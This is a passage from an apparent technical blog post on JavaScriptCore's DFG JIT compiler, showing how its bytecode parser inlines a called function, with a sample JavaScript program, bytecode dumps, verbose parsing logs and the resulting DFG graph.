</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2</span>   <span style="color:#f92672">:</span>   Var Links: arg1:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">71</span> loc4:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">55</span> loc6:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">57</span> loc7:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">62</span> loc8:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">74</span>
</span></span></code></pre></div><p>Note how both these blocks, listed above, list <code>#0</code> as a <code>Predecessor</code> and <code>#3</code> as the <code>Successor</code>.</p>
<h1 id="function-inlining">Function Inlining</h1>
<p>Another interesting construct utilised by the bytecode parser is function inlining. Consider the following program:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">num</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">sum</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">num</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">inlineFunc</span>(<span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">sum</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">inlineFunc</span>(<span style="color:#a6e22e">num</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">arr</span>[<span style="color:#a6e22e">num</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">num</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">arr</span> <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">obj</span> <span style="color:#f92672">=</span> {<span style="color:#a6e22e">sum</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">y</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>In the program above, the function <code>jitMe</code> calls the function <code>inlineFunc</code> and when the DFG decides to optimise <code>jitMe</code> it evaluates the call to the function <code>inlineFunc</code> and determines that this function can be inlined into <code>jitMe</code>. The snippet below is the bytecode dump for the <code>jitMe</code> function and the bytecode of interest to this discussion is <code>bc#74</code> which is the call to the function <code>ìnlineFunc</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>jitMe<span style="color:#960050;background-color:#1e0010">#</span>Bslwax:[<span style="color:#ae81ff">0x7fffaf2c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffaf2e5100</span>, BaselineFunctionCall, <span style="color:#ae81ff">82</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">16</span> instructions (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span>bit instructions, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span>bit instructions, <span style="color:#ae81ff">11</span> instructions with metadata); <span style="color:#ae81ff">202</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">120</span> metadata bytes); <span style="color:#ae81ff">2</span> <span style="color:#a6e22e">parameter</span>(s); <span style="color:#ae81ff">16</span> callee <span style="color:#a6e22e">register</span>(s); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(s); scope at loc4
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bb<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>[  <span style="color:#ae81ff">69</span>] get_by_id          loc9, loc12, <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">74</span>] call               loc6, loc6, <span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">16</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">80</span>] ret                Undefined(const0)
</span></span><span style="display:flex;"><span>Successors: [ ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Identifiers:
</span></span><span style="display:flex;"><span>  id0 <span style="color:#f92672">=</span> obj
</span></span><span style="display:flex;"><span>  id1 <span style="color:#f92672">=</span> sum
</span></span><span style="display:flex;"><span>  id2 <span style="color:#f92672">=</span> inlineFunc
</span></span></code></pre></div><p>When the DFGBytecodeParser encounters the bytecode <code>call</code>, it performs a number of checks to determine if the callee can be inlined. With the <code>verboseDFGBytecodeParsing</code> command line flag enabled one would be able to observe how the <code>call</code> bytecode is parsed and inlined:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>parsing bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">74</span><span style="color:#f92672">:</span> op_call
</span></span><span style="display:flex;"><span>    Handling call at bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">74</span><span style="color:#f92672">:</span> Statically Proved, (Function: Object: <span style="color:#ae81ff">0x7fffaf2f5a00</span> with butterfly (nil) (Structure <span style="color:#ae81ff">0x7fffaf2f9420</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0xa836</span>, Function, {}, NonArray, Proto:<span style="color:#ae81ff">0x7fffefcfc248</span>, Leaf (Watched)]), StructureID: <span style="color:#ae81ff">43062</span>; Executable: inlineFunc<span style="color:#960050;background-color:#1e0010">#</span>EfyD9C:[<span style="color:#ae81ff">0x7fffaf2c4390</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffaf2c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffaf2e5180</span>, DFGFunctionCall, <span style="color:#ae81ff">30</span> (DidTryToEnterInLoop)])
</span></span><span style="display:flex;"><span>        appended D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">64</span> FilterCallLinkStatus
</span></span><span style="display:flex;"><span>Handling inlining...
</span></span><span style="display:flex;"><span>Stack: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">74</span>
</span></span><span style="display:flex;"><span>    Considering callee (Function: Object: <span style="color:#ae81ff">0x7fffaf2f5a00</span> with butterfly (nil) (Structure <span style="color:#ae81ff">0x7fffaf2f9420</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0xa836</span>, Function, {}, NonArray, Proto:<span style="color:#ae81ff">0x7fffefcfc248</span>, Leaf (Watched)]), StructureID: <span style="color:#ae81ff">43062</span>; Executable: inlineFunc<span style="color:#960050;background-color:#1e0010">#</span>EfyD9C:[<span style="color:#ae81ff">0x7fffaf2c4390</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffaf2c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffaf2e5180</span>, DFGFunctionCall, <span style="color:#ae81ff">30</span> (DidTryToEnterInLoop)])
</span></span><span style="display:flex;"><span>Considering inlining (Function: Object: <span style="color:#ae81ff">0x7fffaf2f5a00</span> with butterfly (nil) (Structure <span style="color:#ae81ff">0x7fffaf2f9420</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0xa836</span>, Function, {}, NonArray, Proto:<span style="color:#ae81ff">0x7fffefcfc248</span>, Leaf (Watched)]), StructureID: <span style="color:#ae81ff">43062</span>; Executable: inlineFunc<span style="color:#960050;background-color:#1e0010">#</span>EfyD9C:[<span style="color:#ae81ff">0x7fffaf2c4390</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffaf2c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffaf2e5180</span>, DFGFunctionCall, <span style="color:#ae81ff">30</span> (DidTryToEnterInLoop)]) into bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">74</span>
</span></span><span style="display:flex;"><span>    Call mode: Call
</span></span><span style="display:flex;"><span>    Is closure call: false
</span></span><span style="display:flex;"><span>    Capability level: CanCompileAndInline
</span></span><span style="display:flex;"><span>    Might <span style="color:#66d9ef">inline</span> function: true
</span></span><span style="display:flex;"><span>    Might compile function: true
</span></span><span style="display:flex;"><span>    Is supported <span style="color:#66d9ef">for</span> inlining: true
</span></span><span style="display:flex;"><span>    Is inlining candidate: true
</span></span><span style="display:flex;"><span>    Inlining should be possible.
</span></span><span style="display:flex;"><span>        appended D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">65</span> CheckIsConstant
</span></span><span style="display:flex;"><span>        appended D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">66</span> Phantom
</span></span><span style="display:flex;"><span>   ensureLocals: trying to raise m_numLocals from <span style="color:#ae81ff">16</span> to <span style="color:#ae81ff">24</span>
</span></span><span style="display:flex;"><span>   ensureTmps: trying to raise m_numTmps from <span style="color:#ae81ff">0</span> to <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        appended D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">67</span> ExitOK
</span></span></code></pre></div><p>If the DFGBytecodeParser determines that the function can be inlined, it parses the function bytecode and appends appropriate nodes to the DFG graph. The snippet below shows the output generated by <code>verboseDFGBytecodeParsing</code> when a function is inlined.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>Parsing inlineFunc<span style="color:#960050;background-color:#1e0010">#</span>EfyD9C:[<span style="color:#ae81ff">0x7fffaf2c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffaf2e5180</span>, BaselineFunctionCall, <span style="color:#ae81ff">30</span> (DidTryToEnterInLoop) (FTLFail)] <span style="color:#66d9ef">for</span> inlining at jitMe<span style="color:#960050;background-color:#1e0010">#</span>Bslwax:[<span style="color:#ae81ff">0x7fffaf2c44c0</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffaf2c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffaf2e5100</span>, DFGFunctionCall, <span style="color:#ae81ff">82</span>] bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">74</span>
</span></span><span style="display:flex;"><span>inlineFunc<span style="color:#960050;background-color:#1e0010">#</span>EfyD9C:[<span style="color:#ae81ff">0x7fffaf2c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffaf2e5180</span>, BaselineFunctionCall, <span style="color:#ae81ff">30</span> (DidTryToEnterInLoop) (FTLFail)]<span style="color:#f92672">:</span> <span style="color:#ae81ff">8</span> instructions (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span>bit instructions, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span>bit instructions, <span style="color:#ae81ff">3</span> instructions with metadata); <span style="color:#ae81ff">150</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">120</span> metadata bytes); <span style="color:#ae81ff">2</span> <span style="color:#a6e22e">parameter</span>(s); <span style="color:#ae81ff">8</span> callee <span style="color:#a6e22e">register</span>(s); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(s); scope at loc4
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bb<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] enter              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] get_scope          loc4
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] mov                loc5, loc4
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">6</span>] check_traps        
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">7</span>] resolve_scope      loc6, loc4, <span style="color:#ae81ff">0</span>, GlobalProperty, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">14</span>] get_from_scope     loc7, loc6, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">2048</span><span style="color:#f92672">&lt;</span>ThrowIfNotFound<span style="color:#f92672">|</span>GlobalProperty<span style="color:#f92672">|</span>NotInitialization<span style="color:#f92672">|</span>NotStrictMode<span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">22</span>] put_by_val         loc7, arg1, arg1, NotStrictMode
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">28</span>] ret                Undefined(const0)
</span></span><span style="display:flex;"><span>Successors: [ ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Identifiers:
</span></span><span style="display:flex;"><span>  id0 <span style="color:#f92672">=</span> arr
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Constants:
</span></span><span style="display:flex;"><span>   k0 <span style="color:#f92672">=</span> Undefined
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Jump targets: 
</span></span><span style="display:flex;"><span>    parsing bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">74</span> <span style="color:#f92672">--&gt;</span> inlineFunc<span style="color:#960050;background-color:#1e0010">#</span>EfyD9C:<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffaf2c4260</span><span style="color:#f92672">&gt;</span> bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:</span> op_enter
</span></span><span style="display:flex;"><span>        appended D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">68</span> JSConstant
</span></span><span style="display:flex;"><span>        appended D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">69</span> MovHint
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        parsing bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">74</span> <span style="color:#f92672">--&gt;</span> inlineFunc<span style="color:#960050;background-color:#1e0010">#</span>EfyD9C:<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffaf2c4260</span><span style="color:#f92672">&gt;</span> bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span><span style="color:#f92672">:</span> op_get_scope
</span></span><span style="display:flex;"><span>        appended D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">81</span> JSConstant
</span></span><span style="display:flex;"><span>        appended D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">82</span> JSConstant
</span></span><span style="display:flex;"><span>        appended D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">83</span> MovHint
</span></span><span style="display:flex;"><span>        appended D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">84</span> SetLocal
</span></span><span style="display:flex;"><span>    parsing bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">74</span> <span style="color:#f92672">--&gt;</span> inlineFunc<span style="color:#960050;background-color:#1e0010">#</span>EfyD9C:<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffaf2c4260</span><span style="color:#f92672">&gt;</span> bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">3</span><span style="color:#f92672">:</span> op_mov
</span></span><span style="display:flex;"><span>        appended D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">85</span> MovHint
</span></span><span style="display:flex;"><span>        appended D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">86</span> SetLocal
</span></span><span style="display:flex;"><span>    parsing bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">74</span> <span style="color:#f92672">--&gt;</span> inlineFunc<span style="color:#960050;background-color:#1e0010">#</span>EfyD9C:<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffaf2c4260</span><span style="color:#f92672">&gt;</span> bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">6</span><span style="color:#f92672">:</span> op_check_traps
</span></span><span style="display:flex;"><span>        appended D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">87</span> InvalidationPoint
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... truncated for brevity
</span></span></span></code></pre></div><p>Once the bytecodes for the function <code>jitMe</code> and the inlined function <code>inlineFunc</code> have been parsed the following unoptimised graph is generated. Note the representation of the inlined function between nodes <code>D@67</code> to <code>D@101</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>Graph after parsing:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span> DFG <span style="color:#66d9ef">for</span> jitMe<span style="color:#960050;background-color:#1e0010">#</span>Bslwax:[<span style="color:#ae81ff">0x7fffaf2c44c0</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffaf2c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffaf2e5100</span>, DFGFunctionCall, <span style="color:#ae81ff">82</span>]<span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>         <span style="color:#f92672">:</span>   Fixpoint state: BeforeFixpoint; Form: LoadStore; Unification state: LocallyUnified; Ref count state: EverythingIsLive
</span></span><span style="display:flex;"><span>         :   Arguments <span style="color:#66d9ef">for</span> block<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:</span> D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">0</span>, D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span> Block <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span> (bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>)<span style="color:#f92672">:</span> (OSR target)
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   Execution count: <span style="color:#ae81ff">1.000000</span>
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">0</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        SetArgumentDefinitely(<span style="color:#66d9ef">this</span>(a), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">1</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        SetArgumentDefinitely(arg1(B<span style="color:#f92672">~/</span>FlushedJSValue), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">2</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        JSConstant(JS<span style="color:#f92672">|</span>PureInt, Undefined, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)
</span></span><span style="display:flex;"><span>  <span style="color:#ae81ff">3</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">3</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span>, MustGen, loc0, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> 
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">66</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">66</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Phantom(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">42</span>, MustGen, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">74</span>, ExitValid)
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   <span style="color:#f92672">--&gt;</span> inlineFunc<span style="color:#960050;background-color:#1e0010">#</span>EfyD9C:<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffaf2c4260</span>, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">74</span>, Call, known callee: Object: <span style="color:#ae81ff">0x7fffaf2f5a00</span> with butterfly (nil) (Structure <span style="color:#f92672">%</span>A1:Function), StructureID: <span style="color:#ae81ff">43062</span>, numArgs<span style="color:#f92672">+</span><span style="color:#66d9ef">this</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>, numFixup <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, stackOffset <span style="color:#f92672">=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">16</span> (loc0 maps to loc16)<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">67</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>     D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">67</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>      ExitOK(MustGen, W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">68</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>     D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">68</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>      JSConstant(JS<span style="color:#f92672">|</span>PureInt, Undefined, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">69</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>     D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">69</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>      MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">68</span>, MustGen, loc16, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">70</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>     D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">70</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>      SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">68</span>, loc16(T<span style="color:#f92672">~/</span>FlushedJSValue), W:Stack(loc16), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitInvalid)  predicting None
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">71</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>     D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">71</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>      MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">68</span>, MustGen, loc17, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitInvalid)
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>     <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">93</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>     D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">93</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>      JSConstant(JS<span style="color:#f92672">|</span>PureInt, Weak:Object: <span style="color:#ae81ff">0x7fffefca46e8</span> with butterfly <span style="color:#ae81ff">0x7fe0833e0008</span> (Structure <span style="color:#f92672">%</span>CA:Array,ArrayWithInt32), StructureID: <span style="color:#ae81ff">46376</span>, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">14</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">94</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>     D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">94</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>      MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">93</span>, MustGen, loc23, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">14</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">95</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>     D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">95</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>      SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">93</span>, loc23(CB<span style="color:#f92672">~/</span>FlushedJSValue), W:Stack(loc23), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">14</span>, exit: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">74</span> <span style="color:#f92672">--&gt;</span> inlineFunc<span style="color:#960050;background-color:#1e0010">#</span>EfyD9C:<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffaf2c4260</span><span style="color:#f92672">&gt;</span> bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">22</span>, ExitValid)  predicting None
